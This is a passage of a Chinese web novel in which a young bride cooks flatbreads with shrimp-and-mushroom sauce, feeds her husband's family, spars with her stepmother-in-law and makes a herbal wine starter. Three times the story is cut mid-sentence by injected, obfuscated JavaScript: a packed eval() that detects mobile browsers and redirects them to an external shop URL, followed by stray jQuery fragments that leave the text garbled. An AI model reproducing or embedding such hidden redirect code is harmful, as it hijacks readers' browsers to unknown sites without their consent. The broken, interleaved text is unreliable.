在灶膛里生火热锅,丁宝珠又挖了猪油烙饼,由于是薄饼,没多少时间就熟了,每熟一张,她就在上面顺手撒上一把野葱花,而猪油和葱花混合在一块儿的香味,很快就慢慢弥漫出了灶间,飘在了院落中。 丁宝珠手脚麻利地烙好饼,倏忽听见门口出现了什么声响,回头一瞧,竟是那小女儿徐芝半趴在门边眨着眼,只往那盘热气腾腾的烙饼上睃。 丁宝珠想了想,笑着朝她招了招手。徐芝初看着不敢,最终仍是小心翼翼地进了灶房里来。 丁宝珠蹲下身,笑着问: “饿了么?午食还要过会儿才好。” 徐芝羞答答地垂着眼,脸上也是粉通通的,瞧起来就是内向的性子。她的年龄在这里也能干活了,但在丁宝珠眼里,还是个小孩子罢了。 丁宝珠想到这,又从那篮子里取出什么递过去,笑道: “我来了这,也没啥好的做见面礼,这是我在山上采的,这时节的可好吃了,你尝尝。” 徐芝立刻摇摇头,却被前者一股脑儿塞在她手里,她低头一看,原来是一把圆溜溜红丹丹的野果子,不禁高兴道: “这是密花果!这个果子酸酸甜甜的,可好吃了,谢谢大嫂!” 家里只有爹和大哥能上山,娘总不同意她和莹姐姐去,偶尔见其他人去摘了那果子吃,分了自己一两颗,她都能吃上很久。 而这密花果,在这个季节结的最多,只是都是上山人随手采来吃,也没什么人特意去采一大片下来卖的,想买也没啥地方能买。 可眼前人一给就是毫不犹豫的一把,这使徐芝和丁宝珠的关系一下子就亲近了不少,况且…… 这位新大嫂,看起来和娘口中说的那人一点也不像啊? 丁宝珠听到那句大嫂后弯了弯唇。 果然是吃人嘴短! 29. 香菇虾蓉酱(下) 徐芝迫不及待地擦了擦一颗密花果,咬了一口,那充盈的酸甜的果汁便涌了出来,但那酸味要多过甜味,嘴里咀嚼着,倒是开味。 丁宝珠装作聊天,问道:“芝儿,大嫂去砍柴挑水的时候,你娘在做什么呀?” 徐芝嘴上顿了顿,吞吞吐吐起来,似是一件没法启口的事情,好像连手里的密花果都不香了。 丁宝珠劝说道: “放心,你大嫂我嘴巴可严实了,保证不让你娘知道。再说了,我这也不是想和你娘处好关系么?待会儿午时,我给你做好吃的!” 被这么一番话劝了,那徐芝又本就是心里憋不住事儿的年纪,小声道: “我也不清楚为啥,你出去不久,娘就把姐姐叫过去了,我在窗里看,姐姐一脸不情不愿的,然后就去了你和大哥的房间,之后还拿了啥出来,但我没看清那是啥,姐就去找娘了。” 丁宝珠听完不动声色,又多给了她一把密花果,让她回去和徐莹一起吃,就送了她出去。回来后继续烧火,心里却不由得揣度起来。 那李银屏叫女儿去她与徐晔的新房做什么?而且是自己不去,偏叫徐莹去——最后也肯定是发现了什么,她回来后才吆五喝六的。 不可能是自己的嫁妆,那箱笼平日里都是锁上的,何况嫁妆都是媳妇儿自己的财产,没有让婆家私用的道理,否则这事一闹出去,可是非常丢脸的事情,李银屏只是不喜她,不代表她脸皮能厚到那种程度。 那会是什么事……? 丁宝珠一时想不出,只好先接着做午食。 香菇洗净切成碎丁,找到的野葱野蒜切成碎末用来去腥,而处理好的虾,丁宝珠则是使刀剁成了虾蓉。 大锅里继续下猪油,先爆香了那些葱蒜末,那油也就成为了葱蒜油。 在这葱蒜油里再放那虾蓉炒着,原本被剁得黏黏糊糊的虾蓉很快就被炒散变色,这时再加上香菇丁,翻炒片刻,丁宝珠又放了调好的酱汁,嗤嗤一响,香气随着热气也是袭人扑鼻。 盖上锅盖等煮开,丁宝珠又去坛子里捞了些腌菜出来。有腌萝卜、嫩姜头之类的,也是这时常见的种类。 因为要卷饼,所以丁宝珠把他们都切成了细丝。灶膛内火大,忙完这些,那香菇虾蓉也就煮开了。 丁宝珠尝了一丝,最后又撒了点盐,收汁后盛出,这午食也就做好了。 她重新找出一个篮子来,铺了层布头,里面放了所有的吃食备下,拎起来就出了灶房。 那一大两小就没出来过,丁宝珠撇了撇嘴,反正她也把自己那份拿出来了,吃不吃也随便她们。 纵然如此,她依然是往屋里喊道: “姨母,午食可以吃了,我先去送饭了!——” 那李银屏和徐莹徐芝没回答,却突然窜出来一个漆黑的身影。丁宝珠定睛一瞧,可不就是从窝里跑出来的黑虎么? 这黑虎被徐家养得极好,不但皮毛柔顺,还十分听话,不会故意吠叫扑人,所以在家里也时常不拴着,任它自由。 丁宝珠见它摇着尾巴望着自己,那两道豆子形状的黄眉让它现在看上去反而有些憨态可掬,令她不禁笑着问: “怎么,你想去见你主人们了?” “汪!”黑虎回应了一句,吐着舌头。 “行,那你就跟我一起走吧。” 丁宝珠爽快答应下来,这村里的狗几乎皆是散养的,没有要求一定要拴着,而且黑虎和她走,应该就没有熊孩子会主动来招惹自己了。 推开木门,丁宝珠就往徐晔说的徐家农田的方向而去。 远远可以见着不少农家人已经坐在树荫下休息交谈,农具七歪八扭地摆放在一旁。丁宝珠拿着篮子走在当中的小道儿上,那黑虎也行在边沿,没多久就飞快摇着尾巴往一个地方飞奔而去。 丁宝珠放眼一看,还没看清,黑虎已经到达了目的地,徐晔还蹲下身来□□了一遍狗头。 她快步前去,只见徐家的那几分田地里有松过的土,也有不知何时露出头来的苗,看样子都是浇过水了。 角落里有棵青绿色的参天大树,阳光从罅隙中照射进来,落下金灿灿的斑斑点点。这附近下地的人基本都在这里休息,还有些也已开始吃午食了,毕竟午食吃好还要继续劳作。 丁宝珠连忙过去,笑道: “爹,徐晔,午食做好了,你们先吃吧?” “嗳,辛苦儿媳了。”徐翊伸手抹了把细汗,又瞧了徐晔一眼,说道,“晔儿,你俩一块儿坐,今天的活儿不多,不用太急了。” 徐晔如何不明白自家亲爹的意思,感觉无奈,也只能带着丁宝珠找了个空档就地挨着坐下。 丁宝珠却道:“爹,你也来,尝尝我的手艺!” 最后还是三人一起坐,那黑虎也就乖乖趴在一边等着。 丁宝珠将篮里的一层布揭开,两父子一看,原来前者做了薄饼来。不过为了方便,他们经常吃这种简易面食,正要去拿,却听丁宝珠又道: “爹,徐晔,我还做了酱和腌菜,你们用来裹着吃,也能有味。”丁宝珠说着,又从篮里取了坛子和碗筷。“我想着你们应该喝完带的水了,正巧早上那红枣桂圆茶还剩,我也带来了,你们续上,好下午接着喝。” 徐翊满意道: “看看,还是儿媳细心,晔儿,你还不尝尝你媳妇儿的手艺?” “……知道了。”徐晔闷声回答,又说,“爹,你也吃。” 拿了一张两面略泛黄的荞麦薄饼,执着筷子,蒯一份浓郁的香菇虾蓉铺在饼里,本就是趁热带过来的,再展开抹上,那香味猛地就散发出来了。 徐翊惊喜道: “哎哟,好香的气味,肯定好吃!” 再在上面夹了腌菜丝,把饼子卷起来,径直咬上一大口,软和的饼皮包着鲜香柔软的香菇虾蓉,却又有爽脆的腌菜口感,一个卷饼囫囵下肚,反而有了开胃的功效,继而又想卷下一个饼子吃了。 徐晔吃着,心里也是讶异。先前吃了丁宝珠做的那末茶红豆馅儿的凉糕,还以为她只是做糕点擅长,没想到竟连饭食也是拿手,不自觉就把剩下的卷饼一股脑儿塞进嘴里,毕竟在地里做活早就肚饿了。 丁宝珠也是一上午就没停过,卷着饼吃,黑虎像是嗅到了香味,也起身过来讨食,瞳眸里眼巴巴的光是馋了。 丁宝珠撕着饼子往上丢,黑虎灵敏地一口一个接住吃了,她又偏头看两父子狼吞虎咽,满意极了。 然而过了一会儿,却又有另外的人闻味而来,也都是跟着在大树下休息的那群人。 “老徐,你在吃啥呢?这么香!” 徐翊擦擦嘴笑道: “还不是我这新儿媳做的送来的,只是些家常便饭而已。” “早听说你给晔儿说了门亲事,看来这媳妇儿娶得好啊!” 话是这么讲,其实那些人们的心里暗暗纳罕起来:他们都知道徐家娶的是那秉性刁蛮的丁家珠姐儿,还想着嫁过去会不会闹脾气呢,没想到听话地来送饭不说,厨艺还这般好,实在是出乎意料。 徐翊也清楚他们说的话和心里念叨的不一样,便笑而不语,却更是对这个儿媳妇有滤镜了。 也有年纪与徐晔差不多也认识后者的,想来也是帮家里下地干活的,吃得也简 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13211281|136164||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 单,眼见徐晔吃得那么香,那吃食的香气都飘了过去,肚里仿佛立马就空了下来,凑近笑着问: “晔哥儿,你这味儿太香了,我还没吃饭呢,能不能分我点?” 徐晔停下来,睨了那人一眼,哼声道: “你不是早吃过了么?以为我没看到?我自己还不够吃呢!” “哟,原来是嫂子,手艺还这样好,晔哥儿可真是有福!” 丁宝珠听见了这个称谓,见那人眼生,只是笑笑不答话,可听这语气,想来是和徐晔相熟的人,说不定还来吃过那喜宴。 徐晔又哼了一声: “想吃,那你也去娶个媳妇不就行了?馋我的饼子作甚?” “哎哟,这就护上了?我可没你那么好福气,还有父母给早早定亲的。再说了,你以前不是说过不想要媳妇的么?现在尝到好处,就翻话了?”那人揶揄道。 徐晔听了,登时脸面涨得通红,那绝对不是被太阳晒的,可他一时辩不过,直接大叫道: “黑虎!咬他的嘴,就知道说这些乱七八糟的,让他以后都没法再说!” 黑虎叫了两声,却像成了精似的明白这是气话,只待在丁宝珠身边不动弹。 丁宝珠打着圆场道: “好了好了,不就是个饼子么?做起来也不难,郎君要是饿了,就拿一个去尝尝,看看味道如何。” 丁宝珠给了那人一个卷过酱料的裹饼,后者喜不自胜,径直就吃,还没彻底冷却的饼子依旧是那么软和,只吃了一口,那人就竖起了大拇指含糊着夸赞道: “嫂子这饼真好吃,要我看都能拿出去卖了,肯定不输其他摊子的!” 不管是不是真心话,丁宝珠都笑道:“你觉得好吃,那就是最好了,不过嘛——这是试吃,你要是再想吃,虽然你和徐晔是熟人,可这是我的手艺,也要收些才行了。” 但那人本就是被馋的,虽然足够好吃,可哪有厚脸皮继续要,说笑几句,也就离开了。 丁宝珠重新坐下,见旁边的徐晔有些不愿意地撇撇嘴,就又盛了一碗红枣桂圆茶递过去,说道: “薄饼子用的面不多,所以我做了不少,也不差那一张,你没吃饱,接着吃就是了,何必在意那些?” 徐晔见她递过来的那碗茶风平浪静的水面,不禁动容,接过来饮下。 头上的枝叶刷啦啦作响,清风掠过,舞姿婆娑。丁宝珠好奇地问: “刚刚那人,是你的朋友吗?” “也算是吧,还有几个,都是下地认识的,素日里偶尔能说得上话,有的还想着和我爹学打猎来着。”徐晔回答着,又些许埋怨道,“昨儿一同过来吃席,席面不吃,就给我灌酒,今天还来打趣,真是惯着他们太久了!” 丁宝珠噗嗤一笑,道: “没想到你也有朋友,我还以为你板着脸,谁都不敢来搭话呢。” 徐晔乜斜了她一眼,不快道: “你还说我?你那脾气不也是其他人受不住的?你在村里的故事,也不比我家少。” 丁宝珠也没生气,突然笑眯眯地说道: “那你觉得我现在是什么脾气?你受得住么?” 徐晔愣了愣,不知想起什么,脸色再次泛红起来,扬声道: “你在这地方说这些做啥?不知羞!” “什么知羞不知羞的,我不过问问你现在对我的印象,你想哪去了?”丁宝珠调侃道。 徐晔又有了种辩不过的感觉,干脆不出声了,但那腮上的颜色却仍然未消。 可就在这时,丁宝珠想起了什么,不由得脸色蓦然变了,心里更是咯噔一响。 30. 将来的韭菜锅贴 她貌似……知道李银屏对自己的态度为何忽然变得那么差了。 她如今是新嫁进来的媳妇儿,虽说村里的流程简化了,却有其中一个是无论如何都去不掉的,自然是那洞房了。 而被铺设的喜床上除了被褥和喜果,还有一个很重要的东西——喜帕! 丁宝珠不禁想要扶额,自己和徐晔根本就没有同房,看样子,徐晔也是不会和自己同房的,更何况就算同房了,以她那超前的知识常识,也明白那喜帕上恐怕真不会出现什么的。 但若是李银屏真的让徐莹偷偷去房里拿了那喜帕,喜帕上肯定是干净如初,那在前者眼里,千般万般错肯定在自己身上,这下更是坐实了那些传闻,李银屏能对她有好脸色么? 最重要的是,事情已成,也完全没有转圜的余地了,以后不管怎么解释,这印象就已在她那生根发芽了! 这可真是令人头疼! 丁宝珠默默叹了口气。 徐晔发现后,说道: “要不你先回去吧,我和爹傍晚就回家了。” “……不用,我比较喜欢在外面多一点。” 丁宝珠打着哈哈,要她回去和李银屏共处一室,那她还不如和徐晔待在一起。 她搔搔脑袋,又看着眼前的田地,提议道:“不如你和我讲讲家里种了什么吧?” 徐晔奇怪地瞅了她一眼,但多亏了她才能吃饱喝足,而且确实好吃,填饱肚子人也满足,便拉她起来道: “行,我带你去瞧瞧。” 徐翊在远处望见两人一块儿走,仍旧是笑而不语,不去打扰。 来到徐家的几分田地间,黑虎也安静跟了上来,在他们之间转着圈跑动。 徐晔指着那片地里解释道: “先前种了些莴苣、山药、茄子、菠菜和韭菜,有些菜长得快,已经出苗长着了。” “是了,就比如说是那韭菜,想割一茬不用等得太久。”丁宝珠笑道,“看着快要长好了,到时候割一些下来,我给你烙锅贴吃,怎样?” 徐晔疑惑问道:“锅贴?那是啥?” 丁宝珠反应过来,略想了想,也解释道:“就是油夹儿,你要是不喜欢,就烙盒子,或是煎包,韭菜向来和鸡子最搭,要么是肉馅儿,可香了。” 徐晔抽了抽鼻头,听不出话里究竟是什么情绪地说道:“你可真会吃,而且又是油又是肉又是鸡子的,那能不好吃么?” 被呛了一句,丁宝珠却仅是笑笑。经过十几个时辰的相处,她算是大部分看出来了,这徐晔根本是口不对心的类型,不然他们的相处可能远没有像现在这般和谐——俗称傲娇。 徐晔见她只是微妙地笑着不答话,一双眸子甚为灵活地转向他,仿佛能穿透体内,拉出他实际的心思似的,连忙吭了吭嗓,又指向另一片田说话。 他不得不承认是他自己习惯了冷言冷语,其实在听丁宝珠说后,他倒是挺期待那所谓的「锅贴」,而且要油要肉要鸡子,他也骤然觉得有个大包袱背在身上一样——但他也没有感觉到厌烦。 “咳咳……那块田里,种了白菜、萝卜和大头菜,今天我和爹挑了另一块地,下了黄瓜子,丝瓜子、冬瓜子和芋头。我们家一共才有七分田地,所以这些也差不多种满了。” 丁宝珠点点头道:“最后那几个农作物,算算也要等到夏秋日才能收获,但之前能收获前几个,那些都能做腌酱菜,也足够吃了。” 徐晔问道:“原来你也懂种田么?” 村里人都清楚丁宝珠是屠户丁宏的女儿,后者手里没地,丁家的田都是给了大房和三房种了。 再加上原主以前那乍乍乎乎的劲儿,说实话很难让人认为是知道那些知识的。 丁宝珠摇头晃脑故作深沉道:“略懂,略懂。” 徐晔一时想笑,可最后还是憋住了。 丁宝珠又问道:“我还知道等过段日子适合种芝麻和豆子,青豆、黄豆、赤豆和菉豆,还剩最后一点田,我们种些好不好?” 徐晔问:“种这么多豆子做啥?而且家里也有豆子。” “豆子也算是粮食嘛,咱们家里地少,种了菜几乎就没地种粮了,但是那青豆能做饭,红豆能做粥,菉豆能做汤,那黄豆更是能磨豆浆做豆腐,岂不好?” 听着她娓娓道来,徐晔不由得也有了几分遐想,特别听她唤的是自家,更是有些动容,但他仍是说道: “那等我和爹商量商量,然后再规划下,之后再种。” 丁宝珠答应了,却又问: “徐晔,你家不是猎户么?怎么也要种田?” 徐晔回答道:“春夏禁猎,只能捕捉鸟儿和蛇鼠之类的猎物,正好家里以前购置了几分田传了下来,所以我家这两季也跟着别人一样下田种地。” 丁宝珠对这点完全不清楚,很快问道: “那就是说这两季家里是没有进项的么?吃的其实是去年的收获?也有半年时日呢。” 徐晔听闻,以为她是不乐意了,不知为何心里一沉。毕竟在他长大后,家里寻媒婆替他说亲,那其中有个好说的自然是他家的情况。人们都认为做猎户去那深山里打个大的就能狠赚一笔,可事实是总有一年半载没有多少收入,要紧着在下半年得到翌年能吃饱饭的钱财才行。 他想到这,闷声道:“你放心吧,这几分地一直都能养活我们一家,如今再多一个你,也不算困难,无非是多张嘴罢了。” 丁宝珠明白他是误会了,赶忙解释道: “我不是这个意思,我只是想着,只是半年没有进项,那可以主动去做啊?这样半年里也不用空下来,还能贴补家里。” 徐晔看过来,问:“你有什么想法?” 丁宝珠没有直接回答,只是笑着反问道: “徐晔,你觉得我做那凉糕的味道怎么样?” 徐晔恍然大悟,差点忘了她在出嫁前还去外面摆过摊,虽然不知晓是赚是亏,但自己也在那儿买了东西,别说是那清香的桃花茶,那新奇口味的凉糕,也很符合自己的口味。 他微微蹙眉,又问:“你摆的那小摊子真的能赚钱吗?” 他现下时而去打个雀儿,打到了就去卖,运气好也有收入,但这是明面上就能清楚的。纵然他喜欢那凉糕,也不能代表丁宝珠一定是赚的,要是做买卖亏钱,那还不如不做。 “我怕说了你还不信,我卖的第一日就赚了呢,虽是不多,但那是我头一次做,而且怎么也够一天的花销了,一切总要有个开始嘛。” 丁宝珠扬脸说着,忽然口吻又变得少许遗憾: “可惜创业未半而中道崩阻,所以中间只好断啦。” 徐晔听这文绉绉甚至自己还有点听不懂的话感到些微神奇,不过想起丁家有读书人,也就释然了,冷笑道: “合着让你嫁过来,还耽搁你这个……创业了?那还真是对不住!” 丁宝珠见他又别扭了,笑道: “没啥事,你答应我再去不就成了?我保证把它又给盘活了,如何?” 徐晔扁着嘴没出声,丁宝珠又紧着问: “怎么样?就让我试试吧,好不好?” “……那得和爹和姨母说一声。” “讲什么?我嫁的是你,又不是爹和姨母,主事的难道不是我俩?” 想着之前的话语,徐晔不知怎么,感觉她更像是那个主事人… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13221542|136164||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' … 又因为她讲的某句话,他莫名感到一阵难言的赧然。想了会儿,只好说道: “在那之后,那道儿上已经有新的卖凉糕的了,你再去还能行?除非是做出新的吃食来。” 丁宝珠听他松口不少,笑道:“原来如此,不就是新的吃食么?我做就是了,那到时候你得给我品鉴品鉴啊。” 正说着,忽又听身后有人在喊,原来是徐翊在唤,而其他本在休息的农人,早已重新拿起农具下地去了。 “那你先回去吧。”徐晔嘱咐道,又对脚边的黑虎道,“黑虎,你跟着一起。” “汪!” 多话一回,丁宝珠便提着除了器皿就是空空如也的篮子回了家。 回到家,丁宝珠就让黑虎自己回了窝,刚刚饱食,今儿日头也好,它就趴着休憩去了。 没想到这一次,那徐莹徐芝竟然亲自迎接了上来,笑道: “大嫂回来了?” 丁宝珠好笑地问道: “你们咋变得这样殷勤了?之前还扭扭捏捏的不想和我说话呢。” 这么一说,那徐芝就真的变得不好意思起来,看了眼徐莹,徐莹只好羞涩道: “之前不是不认识大嫂么?如今我们觉得大嫂是个好的!” “嗯,这话我倒是爱听。”丁宝珠隐隐约约能想到两人怎么转变的这么快,便又问,“我做好留下的午食,你们可吃了?” 提到午食,她们就眼前一亮,小鸡啄米似地点头道: “吃了吃了,大嫂,你做的那饼子实在是太好吃了,今天晚上还能不能做?” 眼前的画面足以印证一句老话:想要抓住心,就得先抓住胃。但这个模样,简直就像是开了金手指一般,可丁宝珠不大清楚的是,徐家对吃这方面没那么紧要,平常就和那顿早食一样就结束了,然而这次丁宝珠不仅用猪油烙饼,还做了那么香的香菇虾蓉酱,要不是被阻止了,姐妹俩差点就吃撑了,所以对于她们来讲根本是惊为天人的地步。 丁宝珠摸摸徐芝的脑袋,笑道:“行,只要有食材,我就去做。” “你还想接着做?” 就在这时,门口传来了一阵抱怨的话语声来,丁宝珠回头一看,正是斜抱一个木盆的李银屏,那木盆里还放着不少已经绞干的衣物,大概是去溪边浆洗了。 李银屏斜了她一眼,不快道: “就烙个饼子,还挖了那么多油,你当这是在你娘家么?那猪油都是用不完的?我们家里的猪油总共就那么些,要用到明年呢,也不知道节省点!” 丁宝珠也不瑟瑟缩缩的,笑着道: “姨母既然嫌我油用多了,那晚食就姨母来做就好了,让我也学学什么叫节省!” 李银屏立时横眉倒竖:“你——” 可她还未接着往下说,就被丁宝珠又打断了: “何况我方才去给爹和徐晔送饭,这么一大篮子的饼子,他们全都吃光了,就说明很对他们的胃口。姨母大可自己再去做晚食,看看爹和徐晔会不会问,我就不管这些了。” 说罢,她就径直回了房,理也不理。 那李银屏气得双肩颤着,偏头一瞧,那徐芝徐莹的脸色也不太好看,毕竟她们年纪也不大,而还有句俗话说得好:由俭入奢易,由奢入俭却难了! 李银屏骂道:“你俩看啥看?就给你们做了一顿饭,你们就忘了十几年来谁供你们吃喝了?有本事你们让她养着你们!” 骂了一遍,犹不解气,她又把木盆放下,厉声道: “还不赶紧去把衣物晾了?” 说完,她也愤愤地回了屋,徐莹徐芝对视一眼,吐了吐舌,只能去听话地晾衣了。 31. 做酒曲 丁宝珠查看了下自己带回来的东西,都没被动,除开野菜,还有那些密花果和辣蓼草,以及路边采的其他植物。 她拿颗密花果咬了口,这酸酸甜甜的味道确实能得孩子的喜爱,就是酸味多,更适合做果汁、果酱和蜜饯果脯什么的。 但这些都需要大量材料和特定的工艺,以她目前的条件估计是做不到了。可这个密花果现在山上到处都是,不仅红红火火一片,放着也不会坏,若是能做成什么吃食然后再卖出去就好了。 暂且放下,丁宝珠又开始切碎那些辣蓼草和各种草叶,准备用那辣蓼草来做酒曲。这酒曲要是做成了,不但能够酿酒,还能做酒酿醪糟,甚至是各色糕点,而这种做法正是做草本酒曲的材料。 切碎大量草叶后,丁宝珠又去寻了家里的石磨出来,好在徐家也有石磨,毕竟都吃上面粉了。 只是这石磨也比丁家的小一号,可以单独作业,也正合丁宝珠的心意,不然被那李银屏发现了,还不知又会多说什么。 从袋子里取了米磨成米粉,米粉再和那些草叶混合一起,继续搅碎,那草叶里的汁液也就与米粉拌上了。 接着就是预备水源,只是这水的温度要控制,和体温差不多即可,继续拌在那混合粉里,最后把那半黏不干的捏成鸭蛋大小的团子。 丁宝珠又去找了一个空筐和不少稻草,放上一层,就铺一层稻草隔开,如此装满了整整一筐,就能找个好地方放着开始发酵了。 这放在室内最好,只是徐家的房子不多,丁宝珠仍是选择放在了灶房里,那温度也要比室外高一些。 她将酒曲筐置在角落,底部铺上稻草,放上筐子,顶部再放稻草盖上,又拍拍手。 之前丁宝珠薅羊毛,快把溪边的辣蓼草给薅完了,全部做完,费了一整个下午,也快要到做晚食的时候了,至少丁家差不多是这个时辰。 但她才和李银屏拌了几句嘴,既然后者嫌她,那她也不去做了,倒是能够休息。 伸了个懒腰,丁宝珠回屋,打开箱笼,发现里面还有部分先前没用完的水磨糯米粉,红糖白糖,也有那包茶叶。 她无奈且心头热乎乎的,自己做的即使没带过来,他们吃了不就成了?竟然也帮自己包好一并送来了。 但这些材料都能放得住,以后也肯定有用得上的地方。 虽说那大道儿上一定有新的卖凉糕的摊贩了,可至少那抹茶红豆馅儿的凉糕,别的摊贩也不一定能完全复刻出自己这个相当于头次吃螃蟹的人手里的那种,所以应当仍有销路。 那徐晔看样子也不是特别反对她出摊做买卖,毕竟两季禁猎是一大痛点,家里只能吃存粮,若是真做成了倒也不坏。 据说徐晔喜欢吃那抹茶红豆馅儿凉糕,那说明他就是那种喜爱不甜的点心的人,丁宝珠心里一动,已是有了大致的想法。 斜阳之际,徐翊和徐晔扛着农具回了家,院里的桌子已经摆出来了,李银屏和徐莹徐芝在端饭菜放碗筷,桌面上已有饭菜。 这本是徐家常见的一幕,父子俩放下农具后,却环视了下,徐翊问: “晔儿媳妇呢?” 李银屏翻了翻眼,一屁股坐在桌旁,没好气道: “还能在哪?像个大小姐似的躺在屋里呢,之前我不过就提醒了她几句,她就这样摆脸子,也不晓得给谁看,一个下午家务也不做,不知在那忙活什么,我看她是不饿,饿了自然会来!” 徐莹徐芝缄默着不敢说话,徐翊微微皱眉,向徐晔说道: “晔儿,去叫你媳妇儿吃饭。” 徐晔应了声,直接去了房,那丁宝珠果然还躺在床上眯缝着眼。他顿了顿,又想起不知从哪听说她在娘家时除了跟着丁宏做活儿,那家务基本是不怎么碰的,今天大概是忙碌了一日吧。 于是他上前轻声道: “可以吃晚饭了,起来吧。” 丁宝珠本就是小憩,一听有人说话就醒了,她睁眼见是徐晔,笑了笑起身,却又道: “是姨母自己要去做晚食的,可不是我犯懒。” 徐晔疑惑问:“发生啥了?” “我想着你和爹下地干活辛苦,就多做了些带油水的,结果姨母嫌我做的不好,把晚食揽过去做了。” 徐晔摆摆手道:“这也没啥,总不能都让你包圆了,何况家里水缸和房里的柴火都有补充过,一定是你做的,所以不过是少做一顿饭,那也有姨母在。” 听完这番话,丁宝珠心里稍稍放下,看来徐晔并不是那种视媳妇为仆人的男人,否则自己下的估摸着是个困难副本了。 两人出门,又在桌旁坐下。桌上放着一盘早晨那样的饼子,还有一盘油光光腊肉炒的野菜,一盘萝卜干,一碟子盐水蒜瓣儿,幸好那腊肉倒是要比野菜多。 丁宝珠把那硬硬的饼子掰开,夹了几筷子腊肉和小菜,就当夹馍那样吃起来,而且主动说道: “爹,我今天回去后做了酒曲,到时候我酿米酒给你喝!” “哦?”一提到酒,徐翊就有了兴趣,不然也不会与丁宏结识到一块儿去。再加上那米酒是这里最为普遍的酒水,爱喝酒的也常喝。 “晔儿媳妇还会酿酒?以前倒是没听说过。” 丁宝珠笑道:“到时候爹尝尝,就不是听说了。” 李银屏冷哼一声:“我说咋少了那么多米,原来是你偷摸用的,嫁过来还没多少时辰呢,就先可劲儿用了,你当那米是大风刮来的?” 徐晔正学着丁宝珠也做了个夹馍,大口吃着,果然鲜香满足,只是吃了午时那柔软如春风的薄饼,这粗粝的饼子倒有些磨舌,可他也不嫌弃。 可听李银屏这么讲,他忽然就觉得有些不香,正想放下饼子开口,旁边的丁宝珠却道: “先不说做酒曲需要米,再说我做酒曲不也是为了家里人?不仅爹和徐晔能够喝到米酒,莹儿和芝儿还能煮醪糟喝,过段时日又是清明,哪里少得了?” 丁宝珠据理力争,又说: “而且之前我没说过,但其实我能用酒曲做点心出来,届时若是卖出去有了进项,不就有钱买新米了?” 李银屏皱眉道:“你真是自信,咋就那么确定有进项?再说了,你一个媳妇家家的不待在家里做活,还想着去外面东跑西跑?你到底啥时候能收收心?” 丁宝珠撂下筷子正声道: “正因为我已经是嫁进来的媳妇儿,所以也是这的一员,怎么不能为家里考虑考虑了?家里上半年没啥收入,我想到这处还不好?就一定要留守在家等着爹和徐晔进深山打猎去?我可不信姨母你不觉得那危险!” 说完这番话,满座寂然。那李银屏的脸上青一块白一块的,竟也是说不出什么。毕竟丁宝珠讲得没错,每逢父子俩上山,她和两个女儿在家里仍是有担心的。 “好了。”徐翊也严肃道,“谁都没错,只要少说几句就行,也都是为这个家着想。何况那些米能值几个钱?我们家还没穷到那地步,吃饭吧!” 一家之主都发话了,其余几人自然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13268405|136164||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不反驳,只低头开始吃饭。 以一种诡异的气氛吃完晚食,各自收拾回屋,那天边的夕阳很快就耗光了最后一丝光芒,藏去山内,夜幕上映,星月交辉。 忙了一日,徐晔冲了身进屋,只见丁宝珠还没有褪衣,盘腿坐在床上,也不知在想什么地出着神,但前者却觉得,她偶尔倒是真会有点乍然出现的精灵古怪的念头。 丁宝珠见他进来,略有些少见的拘束,徐晔狐疑地上前问道: “你咋了?” 丁宝珠赧然道: “徐晔,我想……我想洗个澡。” 徐晔怔了怔,恍然大悟,他一个人惯了,即使有姨母和妹子,这事儿也总不用自己去想。可现在不同了,他有了媳妇儿,房间里也多了一个人存在,不得不想得再多点。 他自己只用凉水就行了,但丁宝珠可能受不住。徐晔挠挠头,答应道: “好,那我去烧点水来。” 于是丁宝珠就去箱笼中找出了嫁妆里的水桶交给他,可等前者走了,她却忽然发现,别说是桶浴了,连淋浴都没条件,所以对待今天忙了一日的汗水,她只能擦擦了事。 丁宝珠叹了口气,看来只有试试赚钱,才能逐步提高生活条件啊。 徐晔烧了半桶热水,又去兑了凉水,伸手试了试,便推门回屋。 室内没有点蜡,不像洞房夜那样亮灼灼的,但每家每户皆是这般。只有那屋外的皎洁月光从单独的那个窗口淌进来,宛如薄纱。 而在那柔光之中,丁宝珠坐在床沿,把那髻给解了,长发垂在单肩上,但是身上的里衣却也解了半分,露出里面的一抹大红色。 徐晔只觉得轰的一声,两腮顿时热燥燥的,手里一松,差点把那水桶给丢下,结结巴巴道: “你、你先洗,我去外头等着。” 说完,不等丁宝珠回应,他就放下桶子,落荒而逃似地离开。 丁宝珠无奈一笑,她全身上下什么也没露,甚至可以说她往昔也是这样做家居服的,结果还能成这样的慌脚鸡。 不过…… 她想着,还是先去擦洗身子,这才舒服,又收拾好了,那桶里还有一些剩余的水,丁宝珠拎着桶就想拿出去。 